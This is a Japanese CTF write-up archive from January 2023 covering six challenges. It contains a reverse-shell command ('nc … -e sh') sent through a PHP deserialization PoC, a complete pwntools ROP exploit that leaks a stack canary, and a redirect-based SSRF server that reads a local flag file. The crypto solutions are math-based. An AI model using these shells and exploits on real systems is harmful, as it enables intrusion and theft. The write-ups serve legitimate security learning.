CTF日本語サイト : 2023年01月

2023年01月

2023年01月23日00:00

Insomni'hack teaser 2023 Welcome

カテゴリ: Insomni'hack teaser 2023

Welcome
by Dreyvor
! Welcome to Insomnihack 2023 !
Let's start with an easy and well-known web exploitation.
A hipster welcome for hipster scriptkiddies, here you go!
https://welcome.insomnihack.ch:8443

このPoCを利用する。

Tomat0Soup@_Tomat0Soup_
Excited to share my latest critical security finding in the Kagus CMS - a PHP deserialization vulnerability! Check… https://t.co/rwQKfDQWPg
2023/01/18 06:55:49

ローカルでリクエストを待ち受ける。

$ nc -l 1234

ngrokで公開する。

$ ngrok tcp 1234

PoCを実行する。

$ go run poc.go
Target (e.g. https://localhost:9000):
https://welcome.insomnihack.ch:8443
Command (e.g. nc 192.168.0.10 2345 -e sh):
nc 0.tcp.jp.ngrok.io 12649 -e sh
[*] INFO: Preparing to send command: "nc 0.tcp.jp.ngrok.io 12649 -e sh" to "https://welcome.insomnihack.ch:8443"
[*] INFO: Sending request...

Webサーバと接続されているのでコマンドを実行する。

$ nc -l 1234
ls
createUserAccount.php
info_flag
cat info_flag
The flag is located at /flag.txt
cat /flag.txt
INS{N3V3r_7Ru57_917HUb_r3l34532!_4lw4Y2_KoMP1L3_7H3M}

ネットワークセキュリティ概論

井関文一

コロナ社

2022-03-07

2023年01月22日00:00

Real World CTF 5th 0KPR00F

カテゴリ: Real World CTF 5th

0KPR00F
Score: 101
Crypto, difficulty:Normal
Sh0w me the pr00f that y0u understand 0kpr00f. If its 0k, i'll give y0u what y0u want!
nc 47.254.47.63 13337
attachment

task.py。PK=(PKC, PKCa)が与えられる。

    def handle(self):
        try:
            signal.signal(signal.SIGALRM, self.timeout_handler)
            self.dosend('===========================')
            self.dosend('=WELCOME TO 0KPR00F SYSTEM=')
            self.dosend('===========================')
            PK,VK = genK(curve_order)
            self.dosend(str(PK))
            self.dosend('now give me your proof')
            msg = self.request.recv(1024).strip()
            msg = msg.decode('utf-8')
            tmp = msg.replace('(','').replace(')','').replace(',','')
            tmp = tmp.split(' ')
            assert len(tmp) == 6
            PiC = (FQ(int(tmp[0].strip())),FQ(int(tmp[1].strip())))
            PiCa = (FQ(int(tmp[2].strip())),FQ(int(tmp[3].strip())))
            PiH = (FQ(int(tmp[4].strip())),FQ(int(tmp[5].strip())))
            proof = (PiC,PiCa,PiH)
            if self.OKPROOF(proof,VK):
                self.dosend("Congratulations！Here is flag:"+flag)
            else:
                self.dosend("sorry")
            

        except TimeoutError:
            self.dosend('Timeout!')
            self.request.close()
        except:
            self.dosend('Wtf?')
            self.request.close()

tとaは乱数。

Ct = [t**0, t**1, t**2, t**3, t**4, t**5, t**6]
PKC = [G1*t**0, G1*t**1, G1*t**2, G1*t**3, G1*t**4, G1*t**5, G1*t**6]
PKCa = [a*G1*t**0, a*G1*t**1, a*G1*t**2, a*G1*t**3, a*G1*t**4, a*G1*t**5, a*G1*t**6]

となる。

LENGTH = 7


def Cx(x,length=LENGTH):
    res = []
    for i in range(length):
        res.append(pow(x,i,curve_order) % curve_order)
    return res

def C(x,y,length=LENGTH):
    assert len(x) == len(y) == length
    res = multiply(G1, curve_order)
    for i in range(length):
        res = add(multiply(x[i],y[i]),res) 
    return res 

def Z(x):
    return (x-1)*(x-2)*(x-3)*(x-4) % curve_order


def genK(curve_order,length=LENGTH):
    t = int(os.urandom(8).hex(),16) % curve_order
    a = int(os.urandom(8).hex(),16) % curve_order
    Ct = Cx(t)
    PKC = []
    for ct in Ct:
        PKC.append(multiply(G1, ct))
    PKCa = []
    for ct in Ct:
        PKCa.append(multiply(multiply(G1, ct), a))

    PK = (PKC,PKCa)
    VKa = multiply(G2, a)
    VKz = multiply(G2, Z(t))
    VK = (VKa,VKz)
    return PK,VK

VK = (a*G2, (t-1)*(t-2)*(t-3)*(t-4)*G2)。

pairing(VKa, PiC) = pairing(G2, PiCa)
pairing(G2, PiC) = pairing(VKz, PiH)

となるPiC, PiCa, PiHを入力することでフラグを得ることができる。

def verify(proof,VK):
    VKa,VKz = VK
    PiC,PiCa,PiH = proof

    l = pairing(VKa, PiC)
    r = pairing(G2, PiCa)
    if l !=r:
        return False
    l = pairing(G2,PiC)
    r = pairing(VKz,PiH)
    if l !=r:
        return False
    return True

楕円曲線のペアリングの性質として、

e(P, Q+R) = e(P, Q)*e(P, R)
e(P+Q, R) = e(P, R)*e(Q, R)

より、

e(a*P, Q) = e(P, a*Q) = e(P, Q)**a

pairing(VKa, PiC) = pairing(G2, PiCa)
VKa = a*G2なので、
pairing(VKa, PiC) = pairing(a*G2, PiC) = pairing(G2, a*PiC)

pairing(G2, PiC) = pairing(VKz, PiH)
VKz = (t-1)*(t-2)*(t-3)*(t-4)*G2より、
pairing(VKz, PiH) = pairing((t-1)*(t-2)*(t-3)*(t-4)*G2, PiH) = pairing(G2, (t-1)*(t-2)*(t-3)*(t-4)*PiH)

したがって、

PiCa = a*PiC
PiC = (t-1)*(t-2)*(t-3)*(t-4)*PiH = (t**4 - 10*t**3 + 35*t**2 - 50*t + 24)*PiH

PiHにG1を適用することで、PiC, PiCa, PiHを求めることができる。

PiH = G1
PiC = t**4*G1 - 10*t**3*G1 + 35*t**2*G1 - 50*t*G1 + 24*G1
= PKC[4] - 10*PKC[3] + 35*PKC[2] - 50*PKC[1] + 24*PKC[0]
PiCa = PKCa[4] - 10*PKCa[3] + 35*PKCa[2] - 50*PKCa[1] + 24*PKCa[0]

PiH、PiC、PiCaを求めるプログラムは次の通り。

from py_ecc import bn128

lib = bn128
FQ, FQ2, FQ12, field_modulus = lib.FQ, lib.FQ2, lib.FQ12, lib.field_modulus
G1, G2, G12, b, b2, b12, is_inf, is_on_curve, eq, add, double, curve_order, multiply = \
  lib.G1, lib.G2, lib.G12, lib.b, lib.b2, lib.b12, lib.is_inf, lib.is_on_curve, lib.eq, lib.add, lib.double, lib.curve_order, lib.multiply
pairing, neg = lib.pairing, lib.neg

PK = ([(1, 2), (6951158980176023808672944052330889760482237855327193887807935495478570808642, 17908888220283291625531314275972104628236311407176528569109534955078754769105), (18901928226760644830513160068234084069922194040431438515132150914220828048108, 15654368433618756732770875139641381270966509158952057127466508623044552223548), (10402829170097144260590441127593915274060143821877921964578566788272400218808, 16945758728076495812604523985293120334237244493463161019483862214883437869437), (10882799501868362079687182580425887447643004994279269632588887193657945065681, 13584860258034637211660415483386320283321552331750096485350966687939605822059), (20338730205424621285473726618647183068251457802061517360093181360024919937798, 18041596372811728194793277057117328423603596981500611475592318838031136515948), (1908179672416088679548828039785263003841933793017957983485643138922098190694, 1461736854479442556312787492486542322267159405618254706198156788708298006119)], [(2755286556932053935732074074652948734719308587331382609322327363667944871556, 6443993305305179591670486209357610205344864402376428648159984658469938918416), (7281280718878434895774687564471683708914040684368975387001707493965619000127, 2468148688528445086289242182898381558066459201477704832289877907223065116665), (17899854767572753776559148635910658933704043743895643043967175639135936543672, 15128119548546358989344382389045909618233622936610346645129750311379239899113), (16921033913112737102481002928667683753884890325996253668788751068369739277097, 19353983169964573455451593298095160492409167433812498648213579879173651132781), (11335331284820005797549195812537509528738634517391069726828669994538127370901, 20145142547921108524982689259164728613327370901047022787078069009352392471024), (21440973202324113772836077051131572545181819246459224087082541174977455394815, 21778185593826989204928344332224528536705666523413412025139324875306121915229), (8066276198295105926861821968292432786280580634830298759620637288586361993983, 8951238231599903435597581357944487345101424624979642827105300367893202204224)])
PKC = [(FQ(a), FQ(b)) for a, b in PK[0]]
PKCa = [(FQ(a), FQ(b)) for a, b in PK[1]]

PiH = G1
PiC = PKC[4]
PiC = add(PiC, neg(multiply(PKC[3], 10)))
PiC = add(PiC, multiply(PKC[2], 35)) 
PiC = add(PiC, neg(multiply(PKC[1], 50)))
PiC = add(PiC, multiply(PKC[0], 24))
PiCa = PKCa[4]
PiCa = add(PiCa, neg(multiply(PKCa[3], 10)))
PiCa = add(PiCa, multiply(PKCa[2], 35)) 
PiCa = add(PiCa, neg(multiply(PKCa[1], 50)))
PiCa = add(PiCa, multiply(PKCa[0], 24))
print(PiC, PiCa, PiH)

接続すると、

b'===========================\n'

b'=WELCOME TO 0KPR00F SYSTEM=\n'

b'===========================\n'

b'([(1, 2), (6951158980176023808672944052330889760482237855327193887807935495478570808642, 17908888220283291625531314275972104628236311407176528569109534955078754769105), (18901928226760644830513160068234084069922194040431438515132150914220828048108, 15654368433618756732770875139641381270966509158952057127466508623044552223548), (10402829170097144260590441127593915274060143821877921964578566788272400218808, 16945758728076495812604523985293120334237244493463161019483862214883437869437), (10882799501868362079687182580425887447643004994279269632588887193657945065681, 13584860258034637211660415483386320283321552331750096485350966687939605822059), (20338730205424621285473726618647183068251457802061517360093181360024919937798, 18041596372811728194793277057117328423603596981500611475592318838031136515948), (1908179672416088679548828039785263003841933793017957983485643138922098190694, 1461736854479442556312787492486542322267159405618254706198156788708298006119)], [(2755286556932053935732074074652948734719308587331382609322327363667944871556, 6443993305305179591670486209357610205344864402376428648159984658469938918416), (7281280718878434895774687564471683708914040684368975387001707493965619000127, 2468148688528445086289242182898381558066459201477704832289877907223065116665), (17899854767572753776559148635910658933704043743895643043967175639135936543672, 15128119548546358989344382389045909618233622936610346645129750311379239899113), (16921033913112737102481002928667683753884890325996253668788751068369739277097, 19353983169964573455451593298095160492409167433812498648213579879173651132781), (11335331284820005797549195812537509528738634517391069726828669994538127370901, 20145142547921108524982689259164728613327370901047022787078069009352392471024), (21440973202324113772836077051131572545181819246459224087082541174977455394815, 21778185593826989204928344332224528536705666523413412025139324875306121915229), (8066276198295105926861821968292432786280580634830298759620637288586361993983, 8951238231599903435597581357944487345101424624979642827105300367893202204224)])\n'

b'now give me your proof\n'

(21348779946651574597961960204512750391701998143752788884255868899236735890665, 19901659748119950009164763102312342484229400563449780547593779415410533167802) (647121105526769008859192496408882822606951812640292730048477416083000546744, 3836740433026658496669540696629457982221173205425799331909096872890670417671) (1, 2)

b'Congratulations!Here is flag:rwctf{How_do_you_feel_about_zero_knowledge_proof?}\n'

楕円曲線論入門

J.テイト

丸善出版

2021-04-01

2023年01月19日00:00

idekCTF 2022 Typop

カテゴリ: idekCTF 2022

Pwn/Typop
JW#9396

While writing the feedback form for idekCTF, JW made a small typo. It still compiled though, so what could possibly go wrong?
nc typop.chal.idek.team 1337
Downloads
typop.tar

Ghidraで解析する。main関数。

undefined8 main(void)
{
int iVar1;

setvbuf(stdout,(char *)0x0,2,0);
while( true ) {
iVar1 = puts("Do you want to complete a survey?");
if (iVar1 == 0) {
return 0;
}
iVar1 = getchar();
if (iVar1 != 0x79) break;
getchar();
getFeedback();
}
return 0;
}

y(0x79)を入力してgetFeedback関数に行く。

void getFeedback(void)
{
long in_FS_OFFSET;
undefined8 local_1a;
undefined2 local_12;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_1a = 0;
local_12 = 0;
puts("Do you like ctf?");
read(0,&local_1a,0x1e);
printf("You said: %s\\n",&local_1a);
if ((char)local_1a == 'y') {
printf("That\\'s great! ");
}
else {
printf("Aww :( ");
}
puts("Can you provide some extra feedback?");
read(0,&local_1a,0x5a);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

readの読み込みサイズが大きいためバッファオーバーフローが起こる。1周目の最初の入力でlocal_10(Canary)の値を漏洩させて2回目の入力でlocal_10(Canary)の値を復元(Stack Canaryの先頭1バイトは0)して2周目へ。2周目の最初の入力でリターンアドレス(main)をリークさせてwinのアドレスを計算、2回目の入力でwin関数を呼び出す。

void win(undefined param_1,undefined param_2,undefined param_3)
{
FILE *__stream;
long in_FS_OFFSET;
undefined8 local_52;
undefined2 local_4a;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_4a = 0;
local_52 = CONCAT17(0x74,CONCAT16(0x78,CONCAT15(0x74,CONCAT14(0x2e,CONCAT13(0x67,CONCAT12(param_3,
CONCAT11(param_2,param_1)))))));
__stream = fopen((char *)&local_52,"r");
if (__stream == (FILE *)0x0) {
puts("Error opening flag file.");
/* WARNING: Subroutine does not return */
exit(1);
}
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
fgets((char *)&local_48,0x20,__stream);
puts((char *)&local_48);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

win関数を呼び出す際、引数にはparam_1(EDI)=0x66(f)、param_2(ESI)=0x6c(l)、param_3(EDX)=0x61(a)をセットしておく必要がある。引数が3つ以上ある場合は、__libc_csu_init関数の「pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret」と「mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]」を利用してレジスタにセットする。

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    #p = process('./chall')
    p = gdb.debug('./chall', '''
    break __libc_csu_init
    break main
    break getFeedback
    break win
    continue
''')
else:
    p = remote('typop.chal.idek.team', 1337)

elf = ELF('chall', checksec=False)
rop = ROP(elf)

p.recvuntil(b"Do you want to complete a survey?")
p.sendline(b"y")

p.recvuntil(b"Do you like ctf?")
p.sendline(
    b''
    + b'A' * 0xa
)

p.recvline()
p.recvline()    # You said: AAAAAAAAAA
ret = p.recvline()
print(ret)
canary = ret[:7]
print(canary)
canary = canary.rjust(8, b'\0')
print('canary=', canary)
saved_rbp = ret[7:].strip()
print('saved_rbp=', saved_rbp)
saved_rbp = u64(saved_rbp.ljust(8, b'\0'))
print('saved_rbp=', saved_rbp)

p.recvuntil(b"Can you provide some extra feedback?")
p.send(
    b''
    + b'A' * 0xa
    + canary
)

# 2回目
p.recvuntil(b"Do you want to complete a survey?")
p.sendline(b"y")

p.recvuntil(b"Do you like ctf?")
p.sendline(
    b''
    + b'A' * 0xa
    + b'B' * 8
    + b'C' * 7
)

p.recvline()
p.recvline()    # You said: AAAAAAAAAA
ret = p.recvline()
print(ret)
main_addr = ret.strip()
print('main=', main_addr)
main_addr = u64(main_addr.ljust(8, b'\0'))
main_addr -= 55
print('main=', main_addr)
diff = elf.symbols['win'] - elf.symbols['main']
print(diff)
win_addr = main_addr + diff

call_r15 = 0x000014b0   # mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]
call_r15 += main_addr-elf.symbols['main']
popret_rbx = 0x000014ca # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
popret_rbx += main_addr-elf.symbols['main']

p.recvuntil(b"Can you provide some extra feedback?\n")
p.send(
    b''
    + b'A' * 0x2
    + p64(win_addr)
    + canary
    + p64(saved_rbp)
    + p64(popret_rbx)
    + p64(0)    # 0 -> rbx
    + p64(1)    # 1 -> rbp
    + p64(0x66) # 'f' -> r12
    + p64(0x6c) # 'l' -> r13
    + p64(0x61) # 'a' -> r14
    + p64(saved_rbp - 0x20) # win_addr -> r15
    + p64(call_r15)
)

ret = p.recvall()
print(ret)

実行すると次のようになる。

[x] Opening connection to typop.chal.idek.team on port 1337
[x] Opening connection to typop.chal.idek.team on port 1337: Trying 34.85.186.45
[+] Opening connection to typop.chal.idek.team on port 1337: Done
[*] Loaded 14 cached gadgets for 'chall'
[DEBUG] Received 0x1e bytes:
b'== proof-of-work: disabled ==\n'
[DEBUG] Received 0x22 bytes:
b'Do you want to complete a survey?\n'
[DEBUG] Sent 0x2 bytes:
b'y\n'
[DEBUG] Received 0x11 bytes:
b'Do you like ctf?\n'
[DEBUG] Sent 0xb bytes:
b'AAAAAAAAAA\n'
[DEBUG] Received 0x4f bytes:
00000000 59 6f 75 20 73 61 69 64 3a 20 41 41 41 41 41 41 │You │said│: AA│AAAA│
00000010 41 41 41 41 0a ac 7f 5b 2f db 39 85 e0 97 98 ac │AAAA│···[│/·9·│····│
00000020 fc 7f 0a 41 77 77 20 3a 28 20 43 61 6e 20 79 6f │···A│ww :│( Ca│n yo│
00000030 75 20 70 72 6f 76 69 64 65 20 73 6f 6d 65 20 65 │u pr│ovid│e so│me e│
00000040 78 74 72 61 20 66 65 65 64 62 61 63 6b 3f 0a │xtra│ fee│dbac│k?·│
0000004f
b'\xac\x7f[/\xdb9\x85\xe0\x97\x98\xac\xfc\x7f\n'
b'\xac\x7f[/\xdb9\x85'
canary= b'\x00\xac\x7f[/\xdb9\x85'
saved_rbp= b'\xe0\x97\x98\xac\xfc\x7f'
saved_rbp= 140723204167648
[DEBUG] Sent 0x12 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 00 ac 7f 5b 2f db │AAAA│AAAA│AA··│·[/·│
00000010 39 85 │9·│
00000012
[DEBUG] Received 0x22 bytes:
b'Do you want to complete a survey?\n'
[DEBUG] Sent 0x2 bytes:
b'y\n'
[DEBUG] Received 0x11 bytes:
b'Do you like ctf?\n'
[DEBUG] Sent 0x1a bytes:
b'AAAAAAAAAABBBBBBBBCCCCCCC\n'
[DEBUG] Received 0x57 bytes:
00000000 59 6f 75 20 73 61 69 64 3a 20 41 41 41 41 41 41 │You │said│: AA│AAAA│
00000010 41 41 41 41 42 42 42 42 42 42 42 42 43 43 43 43 │AAAA│BBBB│BBBB│CCCC│
00000020 43 43 43 0a 47 74 e9 3d a0 55 0a 41 77 77 20 3a │CCC·│Gt·=│·U·A│ww :│
00000030 28 20 43 61 6e 20 79 6f 75 20 70 72 6f 76 69 64 │( Ca│n yo│u pr│ovid│
00000040 65 20 73 6f 6d 65 20 65 78 74 72 61 20 66 65 65 │e so│me e│xtra│ fee│
00000050 64 62 61 63 6b 3f 0a │dbac│k?·│
00000057
b'Gt\xe9=\xa0U\n'
main= b'Gt\xe9=\xa0U'
main= 94146721838096
-455
[DEBUG] Sent 0x5a bytes:
00000000 41 41 49 72 e9 3d a0 55 00 00 00 ac 7f 5b 2f db │AAIr│·=·U│····│·[/·│
00000010 39 85 e0 97 98 ac fc 7f 00 00 ca 74 e9 3d a0 55 │9···│····│···t│·=·U│
00000020 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 │····│····│····│····│
00000030 00 00 66 00 00 00 00 00 00 00 6c 00 00 00 00 00 │··f·│····│··l·│····│
00000040 00 00 61 00 00 00 00 00 00 00 c0 97 98 ac fc 7f │··a·│····│····│····│
00000050 00 00 b0 74 e9 3d a0 55 00 00 │···t│·=·U│··│
0000005a
[x] Receiving all data
[x] Receiving all data: 0B
[DEBUG] Received 0x1f bytes:
b'idek{2_guess_typos_do_matter}\n'
b'\n'
[x] Receiving all data: 31B
[+] Receiving all data: Done (31B)
[*] Closed connection to typop.chal.idek.team port 1337
b'idek{2_guess_typos_do_matter}\n\n'

フラグは

idek{2_guess_typos_do_matter}

解題pwnable　セキュリティコンテストに挑戦しよう！ (技術の泉シリーズ（NextPublishing）)

草野一彦

インプレスR&D

2020-12-18

2023年01月08日00:00

ASIS CTF Finals 2022 Vindica

カテゴリ: ASIS CTF Finals 2022

Vindica
Simple multiplications with almost small matrices is still fun! Help Vindica to do precise operation.

vindica.sage

#!/usr/bin/env sage

from Crypto.Util.number import *
from flag import flag

def genkey(nbit, k):
    p = getPrime(nbit)
    q = getPrime(nbit >> 2)
    n = p * q
    N = (p**k - 1) * (q**k - 1)
    while True:
        e = getRandomRange(1, n)
        if gcd(e, n * N) == 1:
            pkey = e, n, N
            skey = p, q
            return (pkey, skey)

def two_layencrypt(msg, pkey):
    e, n, _ = pkey
    Zn = Zmod(n)
    m = bytes_to_long(msg)
    c = pow(m, e, n)
    _c = str(c)
    l = len(_c)
    _C = matrix(Zn, [[_c[:l//4], _c[l//4:l//2]], [_c[l//2:3*l//4], _c[3*l//4:l]]])
    assert gcd(det(_C), n) == 1
    C = _C ** e
    return C

k, nbit = 2, 1024

pkey, skey = genkey(nbit, k)
e, n, N = pkey

C = two_layencrypt(flag, pkey)

print(f'e = {e}')
print(f'n = {n}')
print(f'N = {N}')
print(f'C = {C}')

k=2より、N=(p**2-1)*(q**2-1)=(p+1)(p-1)(q+1)(q-1)=(p+1)(q+1)*phi。したがって、秘密鍵d=inverse_mod(e, N)で求められる。cを文字列にして4分割した際に頭が0の場合、桁がなくなるのでそこを補ってあげる必要がある。
solve.sage

from Crypto.Util.number import *

e = 5078482198772022486668806580385994617046152136879757946447753006497559096311363698189927671279662282460215881884971383977603769421560651587643105884432120505614024093712045492181196774755153389551488415626903341200511584895756666520506685233571091301553677432797291383522948247421577307790421871576621793242903515091500045988509062949276333178982069574732477506029694357450058826765713
n = 10363021449027481978397698136523040156224840526536988813980447772289732568252796583569029480400841885971918279457292628777077494964266272306073795156837303451597151870070735534829041207628743246817464229192036030566123925737361164838906363407544870946204200850305741513829976332440459648804252085931138269521493971098766209511334573046832632919268929658929293913408444131177270388104753
N = 107392213553003652264193356141167842390327964666141411489753605300895389967717966219065325990583863026846677998499640622335255057106717292127317146400275358099599424428452765008928717339373244201449378568575832746100164090683550257574318731278439068909731202915200677410600049491303490567787820558996671108309423176089895240263790586705493906801778186252566858325220004019042683750828880339778401860112372011304892642369252185945127428055544519414082092350188418631467500702136331749454574303277689214044524567187394949387563389853123501460406372967215083941957639592408343405520031691298337072435702126794068748777393361487701429744483153095410562309113676977172598678391507488125481975026270733267725691293233008326251906894300961329722446578580183117531847748965008640
C = [[1946208174139816651741710263419547576592153126350801855142762133627913647508863455823382709899043259671094044028462261991810476672592342389139600583419037130249400429216051912147809156497388747490389535839278095179701275637029504452920313532785460709421810335322833683324583540542971635153116319417565879782567743525221686507906726087786621105169291168378964690052819764946613598283697,
1132182340479698114482383874952797406851835394503617195832358500522890480350948370033970794090094723318039532275191223723742462388681999900392328756181997298887891875712789491584405574822571967927609744519369790826014436738457000983543164898860473898076283762333186668689272789942682725689777116575064398495040777661209346469818796761610299917869552187462992078953932871607107940428566],
[7700452780560041441552917813890524163110993823471424265020074756508053970669942522256608739094119235303843336659577921739326977145056801702083374978356129281255531665001370179699899093743464696424465158478872708449905227751200590864428048833098665065609353140089197777268079240074549285218684722855590774839476140179718516214563523243006229792289296462740200370706099145614178211440202,
7782708893953874570747318809245408011800629307006741721998241910864916749737624604100584864398704986546325867550058017705502633594608936861884411666933396887981901979859722266987588797058800525120021500545010297268991183937262790320218011315696953115130360268521260963297555084965631546139006069842106143556094168429235033227360856462499208085105421810405108260458185350930612978313221]]

Zn = Zmod(n)
C = matrix(Zn, 2, 2, C)
_C = C ** inverse_mod(e, N)
l00 = len(str(_C[0][0]))
l01 = len(str(_C[0][1]))
l10 = len(str(_C[1][0]))
l11 = len(str(_C[1][1]))
print(l00, l01, l10, l11)
_l = l00 + l01 + l10 + l11
for _ in range(10):
    _l00 = _l//4
    _l01 = _l//2 - _l//4
    _l10 = _l*3//4 - _l//2
    _l11 = _l - _l*3//4
    print(_l00, _l01, _l10, _l11)
    _c = "0"*(_l00-l00)+str(_C[0][0]) + "0"*(_l01-l01)+str(_C[0][1]) + "0"*(_l10-l10)+str(_C[1][0]) + "0"*(_l11-l11)+str(_C[1][1])
    l = len(_c)
    c = int(_c)
    m = power_mod(c, inverse_mod(e, N), n)
    msg = long_to_bytes(m)
    print(msg)
    if b"ASIS" in msg:
        break
    _l+=1

実行すると下記のようになる。

96 95 95 97

95 96 96 96

b'\r\xe9\xd1\x86=\xe5\x9d\x93\xa8\x90\x92\xfd \x0e\xfa\xb2\xdb\xa4q.(\xc8)~^Oz\x0f\xde\xac\x0f"\xeb\x1a{\x82(\x7f\x94\xc5\xc7\r\x9e\xc7\xb3U\x8b\xc9\xdaOS4\\\x19\xbcA\x8fD\x93\xa3\xfe\xcb\x90\n_6c\x11\xcb|S\x86G\xdbr\xac\xfe%aK\x14\xf6\x08\t\xfb\xf1\x10\xae\x88\xb5^\xd3\xaf\xa0\xd7\x8e\x01U`\x97N?\xadl\xdf\x88w\xf1\x87%\xd0\xd6\x94\x0e\x1d \xb9}0\xba\xa6\xc36\xda7\xc5\x80\x8b\x99o\x06\xc5\x91\xd0\xfa\xb3\x08c\xd1\xcb\xe5Y\xfd\xe4s\x05\xa68z3\x10Px\x84(\n\xf2K\xe2\x8a'

96 96 96 96

b'\r\xe9\xd1\x86=\xe5\x9d\x93\xa8\x90\x92\xfd \x0e\xfa\xb2\xdb\xa4q.(\xc8)~^Oz\x0f\xde\xac\x0f"\xeb\x1a{\x82(\x7f\x94\xc5\xc7\r\x9e\xc7\xb3U\x8b\xc9\xdaOS4\\\x19\xbcA\x8fD\x93\xa3\xfe\xcb\x90\n_6c\x11\xcb|S\x86G\xdbr\xac\xfe%aK\x14\xf6\x08\t\xfb\xf1\x10\xae\x88\xb5^\xd3\xaf\xa0\xd7\x8e\x01U`\x97N?\xadl\xdf\x88w\xf1\x87%\xd0\xd6\x94\x0e\x1d \xb9}0\xba\xa6\xc36\xda7\xc5\x80\x8b\x99o\x06\xc5\x91\xd0\xfa\xb3\x08c\xd1\xcb\xe5Y\xfd\xe4s\x05\xa68z3\x10Px\x84(\n\xf2K\xe2\x8a'

96 96 96 97

b'\r\xe9\xd1\x86=\xe5\x9d\x93\xa8\x90\x92\xfd \x0e\xfa\xb2\xdb\xa4q.(\xc8)~^Oz\x0f\xde\xac\x0f"\xeb\x1a{\x82(\x7f\x94\xc5\xc7\r\x9e\xc7\xb3U\x8b\xc9\xdaOS4\\\x19\xbcA\x8fD\x93\xa3\xfe\xcb\x90\n_6c\x11\xcb|S\x86G\xdbr\xac\xfe%aK\x14\xf6\x08\t\xfb\xf1\x10\xae\x88\xb5^\xd3\xaf\xa0\xd7\x8e\x01U`\x97N?\xadl\xdf\x88w\xf1\x87%\xd0\xd6\x94\x0e\x1d \xb9}0\xba\xa6\xc36\xda7\xc5\x80\x8b\x99o\x06\xc5\x91\xd0\xfa\xb3\x08c\xd1\xcb\xe5Y\xfd\xe4s\x05\xa68z3\x10Px\x84(\n\xf2K\xe2\x8a'

96 97 96 97

b'ASIS{m4Tr!X_M0D1fIcA7iOn_0F_RSA_12431!}'

Basics of SageMath: Mathematics(Practical)

KUMAR, VARUN

Amazon KDP

2022-07-03

2023年01月07日00:00

TetCTF 2023 Image Services Viewer

カテゴリ: TetCTF 2023

Image Services Viewer
775
Chall name:
Image Services Viewer
Category:
Web
Author:
tuo4n8
Description:
Do you know secret which on my server!!!!
Server: http://139.162.15.7:2023
Material:
Binary
Note: The binary provided for Image Services Viewer and Admin Lairay Old School challenges are the same.

const isAdmin = (req, res, next) => {
    try {
        if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") {
            return res.send("You don't have permission")
        }
        next();
    } catch (error) {
        return res.status(500).send("Oops, something went wrong.");
    }
}

isAdminのpasswordチェックを通すために、passwordは配列で渡す。

POST http://139.162.15.7:2023/api/getImage?password[]=Th!sIsS3xreT0 HTTP/1.1

bot.pyでは、file://が使えるようになっている。LocalFileAdapter は、ローカルマシンに保存されたファイルにアクセスして操作することができるファイルアダプターです。

if __name__ == '__main__':
    try:
        if (len(sys.argv) < 2):
            exit()
        url = sys.argv[1]
        headers = {'user-agent': 'PythonBot/0.0.1'}
        request = requests.session()
        request.mount('file://', LocalFileAdapter())

        # check extentsion
        white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
        vaild_extension = url.endswith(white_list_ext)

        if (vaild_extension):
            # check content-type
            res = request.head(url, headers=headers, timeout=3)
            if ('image' in res.headers.get("Content-type")
                    or 'image' in res.headers.get("content-type")
                    or 'image' in res.headers.get("Content-Type")):
                r = request.get(url, headers=headers, timeout=3)
                print(base64.b64encode(r.content))

pythonでローカルにWebサーバを立てる。メソッドがHEADの時はContent-type:image/pngを返す、GETの時はそれに加えてLocationヘッダを返して、ローカルのflagファイルにリダイレクトさせるレスポンスを返す。

from flask import Flask, request, make_response

app = Flask(__name__)

@app.route('/<wildcard>/')
def index(wildcard):
    status = 200
    response = make_response()
    response.headers['content-type'] = 'image/png'
    if request.method=='GET':
        status = 302
        response.headers['Location'] = 'file:///usr/src/app/fl4gg_tetCTF'
    return response, status

if __name__ == '__main__':
    app.debug = True
    app.run(host='127.0.0.1', port=8000)

次に、ローカルに立てたhttpサーバをngrokを使ってインターネットに公開する。
FiddlerでPOSTデータを次のようにする。

url=https://<<ngrok my server>>\@i.ibb.co/?a.png

次のレスポンスが返ってくる。

{"status":true,"data":"VGV0Q1RGe3BAcnMzX1VyMV9zMF9tNGdJSWNjY2NjLVcxdGhfbjBkZUxpYitwNGl0aDBufQ==\n"}

base64でデコードしてフラグは、

TetCTF{p@rs3_Ur1_s0_m4gIIccccc-W1th_n0deLib+p4ith0n}

Node.jsフレームワーク超入門

掌田津耶乃

秀和システム

2022-05-28

2023年01月06日00:00

TetCTF 2023 shuffle128

カテゴリ: TetCTF 2023

shuffle128
711
Description
A weak version of RC4.
File
https://drive.google.com/file/d/1fRIQeOs8KeniRaH1vVANQUxCoBpAwxqv/view?usp=share_link
Author
@ndh

Outputからフラグの文字数は37文字。

TetCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

先頭7文字と最後の文字は確定、また不明な文字も上位1bitは0で確定している。randomにseed値が与えられているので、shuffledを再現できる。shuffledのうち確定しているbitとoutputより、keyを一部復元できる。またkeyは0～127で上位1bitが0であるため、outputとkeyよりshuffledを求めることができる。

if __name__ == '__main__':
    from secret import FLAG

    random.seed(2023)
    print(sys.version)
    prg = rc4_pseudo_random_generator(rc4_key_scheduling(FLAG))
    for _ in range(64):
        shuffled = shuffle(FLAG)
        key = bytes(next(prg) for _ in range(len(FLAG)))
        print(xor(shuffled, key).hex())

